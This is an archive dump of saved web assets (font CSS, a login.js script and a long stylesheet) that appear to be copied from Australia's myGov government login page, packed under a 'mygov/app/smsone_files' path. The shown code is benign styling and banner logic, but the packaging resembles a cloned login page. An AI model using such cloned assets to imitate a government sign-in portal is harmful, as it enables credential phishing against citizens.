U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } mygov/app/smsone_files/login.js.download000064400000003030151676702570014443 0ustar00setTimeout(function(){window.location="/mygov/content/html/session-expired.html";},1740000);function priorityLookup(levelName){switch(levelName){case"high":return 1;case"medium":return 2;case"low":return 3;default:return 4;}}function compareDates(firstDate,secondDate){firstDate=new Date(firstDate);secondDate=new Date(secondDate);return firstDate<secondDate?1:-1;}function getTopAlert(entries){var sortedAlerts=entries.sort(function(firstEntry,secondEntry){if(priorityLookup(firstEntry.priority)===priorityLookup(secondEntry.priority)){return compareDates(firstEntry.modified,secondEntry.modified);}return priorityLookup(firstEntry.priority)>priorityLookup(secondEntry.priority)?1:-1;});return sortedAlerts[0];}function getTopBroadcast(entries){var sortedBroadcasts=entries.sort(function(firstEntry,secondEntry){return compareDates(firstEntry.modified,secondEntry.modified);});return sortedBroadcasts[0];}function displayBroadcast(alert){if(alert&&alert.body){$(".emergency-text").html(alert.body);$(".emergency-text").find("a").attr("target","_blank");$(".emergency-information").css({height:"auto",padding:"17px 5px"});}}$(document).ready(function(){var url=$("#govcms-endpoint").val();var clientId=$("#govcms-client-id").val();var apiVersion=$("#govcms-api-version").val();if(url&&clientId&&apiVersion){fetch(url,{headers:{"x-caas-client-id":clientId,"x-caas-version":apiVersion,"Cache-Control":"no-cache"}}).then(function(resp){return resp.json();}).then(function(data){if(data&&data.broadcasts){displayBroadcast(getTopBroadcast(data.broadcasts));}});}});mygov/app/smsone_files/mgv2-application.css000064400000364774151676702570015106 0ustar00.pathway-link-item:focus,.alert-link .alert-link-arrow:focus,.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active,.button-main-mapwap:focus,.button-main-mapwap:active,.anchor:focus,.button-back:focus,.button-close:focus,form [type='radio']:focus+label,form [type='checkbox']:focus+label,button:focus,input:focus,optgroup:focus,select:focus,textarea:focus,.chosen-container:focus,.chosen-select:focus,body a:focus,body .non-transition-link:focus,footer[role='contentinfo'] a:focus,footer[role='contentinfo'] .non-transition-link:focus,.link-arrow:focus,.menu-hitbox:focus,.outage .expand:focus{outline:3px solid #666;outline-offset:2px}.pathway-link-item:focus,.alert-link .alert-link-arrow:focus{outline-offset:-1px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}html{box-sizing:border-box}*,*::after,*::before{box-sizing:inherit}[type='checkbox']+label[for="same-as-residential"]{display:block;margin-top:30px}.raet-container{display:block;position:relative;width:auto;width:100%;line-height:1.3em}.raet-line{overflow:visible;width:100%;margin:.75em 0 0;box-sizing:border-box;-webkit-transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;height:auto;opacity:1}.raet-line:first-child{margin-top:0}.raet-line:focus{color:blue}.raet-message-success{color:#009b27;background-color:#effbf2;border:1px solid #009b27}.raet-message-fail{color:#bd6400;background-color:#ffffef;border:1px solid #bd6400}.raet-button{display:inline-block;font-size:1em;display:none;cursor:pointer;margin:0 3px;color:#007373;background:#e4efef;border:1px solid #007373}.raet-button:hover{color:black;background:#e2e2e2;border-color:black}.raet-container .raet-singleLine-input{width:100%}.raet-inlineWrapper{position:relative;display:inline-block;margin-bottom:6px!important;max-width:42em}.raet-inlineWrapper>input{box-sizing:border-box}.raet-dropDown{position:absolute;font-size:1em;display:none;left:0;right:0;z-index:1;max-height:425px;overflow:auto;list-style:none;margin:0;padding:0;background:white;border:1px solid grey;box-sizing:border-box;width:100%}.raet-dropDown li{cursor:pointer;padding:.9em .5em .3em;color:#555;min-height:1em}.raet-dropDown .additionalInfo{font-size:.9em;padding-left:1em;line-height:1.75em;text-transform:uppercase}.raet-dropDown strong{color:black}.raet-dropDown li:hover{background-color:#f5f5f5}.raet-dropDown .selected{background-color:#eee}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.raet-spinner{pointer-events:none;display:block;position:absolute;top:0;right:0;border-radius:10px;border:3px solid #aaa;background:white;border-left-color:white;border-right-color:white;margin:3px;opacity:0;-webkit-transition:200ms linear opacity;transition:200ms linear opacity;-webkit-animation:rotate .9s linear infinite;animation:rotate .9s linear infinite}input::-ms-clear{width:0;height:0}.raet-aria-status{border:0 none;clip:rect(0,0,0,0);height:1px;width:1px;margin:-1px;overflow:hidden;padding:0;position:absolute}.raet-inputWrapper>input{width:100%;box-sizing:border-box}.raet-container input,.raet-container select{border:1px solid #969696}#raetDiv-home>div:nth-child(2){display:none}#raetDiv-postal>div:nth-child(2){display:none}/*! Chosen, a Select Box Enhancer for jQuery and Prototype by Patrick Filler for Harvest, http://getharvest.com Version 1.6.2 Full source at https://github.com/harvesthq/chosen Copyright (c) 2011-2016 Harvest http://getharvest.com MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md This file is generated by `grunt build`, do not edit it by hand. */.chosen-container{position:relative;display:block;vertical-align:middle;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;left:-9999px;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff}.chosen-container.chosen-with-drop .chosen-drop{left:0}.chosen-container a{cursor:pointer}.chosen-container .search-choice .group-name,.chosen-container .chosen-single .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:normal;color:#999}.chosen-container .search-choice .group-name:after,.chosen-container .chosen-single .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:.7em;border:1px solid #999;background-color:#fff;background-clip:padding-box;text-decoration:none;white-space:nowrap;line-height:1.15;margin-top:.4em}.chosen-container-single .chosen-single:hover{color:#333}.chosen-container-single .chosen-default{color:#333}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;white-space:nowrap;color:#333}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:40%;right:26px;display:block;width:12px;height:12px;background:url("../icons/chosen-sprite.png") -42px 1px no-repeat;font-size:1px;color:#333}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:25%;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../icons/chosen-sprite.png") no-repeat 0 2px;color:#333}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type="text"]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:white url("../icons/chosen-sprite.png") no-repeat 100% -20px;background:url("../icons/chosen-sprite.png") no-repeat 100% -20px;font-size:1rem;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;left:-9999px}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#0f6493;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb}.chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single-nosearch .chosen-search,.chosen-rtl .chosen-drop{left:9999px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:0}.chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:white url("../icons/chosen-sprite.png") no-repeat -30px -20px;background:url("../icons/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-rtl .chosen-search input[type="text"],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-container-single .chosen-search input[type="text"],.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span{background-image:url("../icons/chosen-sprite@2x.png")!important;background-size:52px 37px!important;background-repeat:no-repeat!important}}.pincode-input-container{display:inline-block}.pincode-input-container input.first{border-top-right-radius:0;border-bottom-right-radius:0}.pincode-input-container input.last{border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:34px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:20px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:120px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}html{color:#333;line-height:1.6;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:400}body{font-size:1.125rem}h1,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title,h4{line-height:1.4;font-weight:400;margin-bottom:.4em}h1{font-size:1.75rem;font-weight:700;margin-bottom:0}h1:first-of-type{margin-top:1.5rem}h2,.display{font-size:1.375rem;line-height:1.2;margin-bottom:.5em}h2:first-of-type,.display:first-of-type{margin-top:1.2em}h2.bold,.bold.display{font-weight:700}h2.bold:nth-of-type(2n),.bold.display:nth-of-type(2n){margin-top:2em}h3,#poro-form #modal-title,.poro-form #modal-title{font-size:1.125rem;font-weight:700;margin-bottom:.8em}h4,h5,h6{font-size:1rem;font-weight:700}@media screen and (min-width:992px){.content-main h1,.content-main h2,.content-main .display,.content-main h3,.content-main #poro-form #modal-title,#poro-form .content-main #modal-title,.content-main .poro-form #modal-title,.poro-form .content-main #modal-title,.content-main h4,.content-main h5,.content-main p,.content-main li,.content-main dl{max-width:38rem}.content-main .content-full-width{max-width:none;width:100%}}strong{font-weight:700}strong.very-bold{font-weight:700}hr{border:1px solid #999;border-bottom:0;margin-bottom:0}ul,ol{padding-left:2.4em}ul ul,ol ul{list-style-type:disc}ul,ol,dl,p,dt,dd{margin-bottom:1rem;line-height:1.6em}li{margin-bottom:.53333em}li ul,li ol{margin-bottom:0}ul.no-bullets{list-style-type:none;margin:0;padding-left:1.2em}dt{display:inline-block;font-weight:700}dt:first-of-type{margin-top:0}.callout,.callout--warning{margin:1.6em .8em;padding:1.2em 1.2em 1.2em 1.6em;border-radius:1px;box-shadow:0 0 8px #ccc}.callout--warning{border-left:.4em solid #b7202d;padding-left:1.2em}.badge--default{display:inline-block;background-color:#999;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--error{display:inline-block;background-color:#b7202d;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--success{display:inline-block;background-color:#026540;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:#e7fff6;font-size:.875rem}article h1:first-of-type{margin-top:0}.is-visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;background-color:#fff!important;color:#333!important}.visiblity-hidden{visibility:hidden}.hidden{display:none}.ua-notification{display:block;padding:.8em;text-align:center;background-color:#f80;color:#333;font-size:1.0625rem;margin-bottom:0}@media print{*,*::before,*::after,*::first-letter ,*::first-line {background:transparent;color:#333;box-shadow:none;text-shadow:none}a,a:visited{text-decoration:underline}a[href]::after{content:" (" attr(href) ")"}abbr[title]::after{content:" (" attr(title) ")"}a[href^='#']::after,a[href^='javascript:']::after{content:''}pre,blockquote{border:1px solid #ccc;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%}p,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{orphans:3;widows:3}h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{page-break-after:avoid}}html{height:100%;min-width:300px}body{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;height:100%}body>header,body>footer{-webkit-box-flex:0;-webkit-flex:none;-ms-flex:none;flex:none}body>.wrapper,.wrapper-mapwap,.wrapper-integration,.wrapper-integration-mapwap{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:100%;display:inline-block}body>.wrapper::after,.wrapper-mapwap::after,.wrapper-integration::after,.wrapper-integration-mapwap::after{content:'\00a0';height:0;visibility:hidden}@media screen and (min-width:992px){.main-block{max-width:900px;margin-left:auto;margin-right:auto}.main-block::after{clear:both;content:"";display:block}}.wrapper{padding:0 1em}@media screen and (min-width:576px){.wrapper{padding:0 2em}}.wrapper-mapwap{padding:0 1em}.wrapper-mapwap .main-block{max-width:400px;margin-left:auto;margin-right:auto}.wrapper-mapwap .main-block .pin-fields2{text-align:center}.wrapper-mapwap .main-block .pin-fields3{text-align:center}@media screen and (min-width:576px){.wrapper-mapwap .main-block{padding:0 2em;max-width:600px}}.uikit-skip-link{display:block}header[role='banner']{background-color:#026540;border-bottom:4px solid #026540;min-height:80px}header[role='banner'] .inner,header[role='banner'] 